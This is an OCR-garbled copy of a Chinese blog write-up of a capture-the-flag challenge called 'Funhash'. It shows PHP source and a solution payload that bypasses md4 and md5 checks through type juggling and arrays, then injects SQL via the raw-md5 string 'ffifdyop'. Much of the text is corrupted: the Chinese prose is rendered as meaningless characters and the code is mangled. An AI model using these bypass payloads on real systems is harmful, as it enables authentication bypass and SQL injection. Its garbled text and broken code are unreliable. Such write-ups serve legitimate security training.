5% P #72020#8 7 WP

XFSS " F 2020-08-24 09:50:11 KA 2046 % Wi 2
RER: RBEY CERE: RN cf M% %4 hash
B B ASCATEEIRGISCE, M5 CC 4.0 BY-SA BN, H8IE M LIRS0 H A EM A7 1 .

A HEE: https://blog.csdn.net/zz_Caleb/article/details/108193422
KA

15 FB3CE 1T
TSR
Funhash
<Tphp

include  conm. php ;
highlisht_file("index. php”);

filevel 1
if (3_GET["hashl”™] != hash("md4”, 3$_GET["hashl”]1))
[
die( level 1 failed J;
}
filevel 2
if($_GET[ hash2 ] === $_GET[ hash3’] || md5(3_GET[ hash2']) !== md5($_GET[ hash3’ 1))
[
die( level 2 failed J;
}
filevel 3
$query = TSELECT #* FREOM flaz WHERE password = 7 . md5(3_GET[“hash4”], true)
Fresult = Jmysqli-raquery(Fquery)
row = Sresult->fetch_assocl):

var_dump (Frow) ;
Jresult->fres();
Fmysqli->eclose();

75
level 1 failed
B=Nevel, —A—Aat

level1:
hashBB $ 2 G RMEZE T RE, B2 Ahashi#Trmd4in® 2 G C=H, B KA Okl #EiH%
LN Z G k2 0e #4758 : 0251288019, 0e001233333333333334557778889

hash1=0e001233333333333334557778889%¢ 1t level1

level2

B : hash2[]=1&hash3[]=3


https://blog.csdn.net/zz_Caleb
https://blog.csdn.net/zz_caleb/category_8853724.html
https://so.csdn.net/so/search/s.do?q=%25E5%25BC%25BA%25E7%25BD%2591%25E6%259D%25AF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E7%25BD%2591%25E7%25BB%259C%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=hash&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/zz_Caleb/article/details/108193422
https://blog.csdn.net/zz_caleb/category_8853724.html

level3
Bk 7558t . hashd=ffifdyop

B #%payload:
hash1=0e001233333333333334557778889&hash2[]=1&hash3[]=3&hash4=ffifdyop
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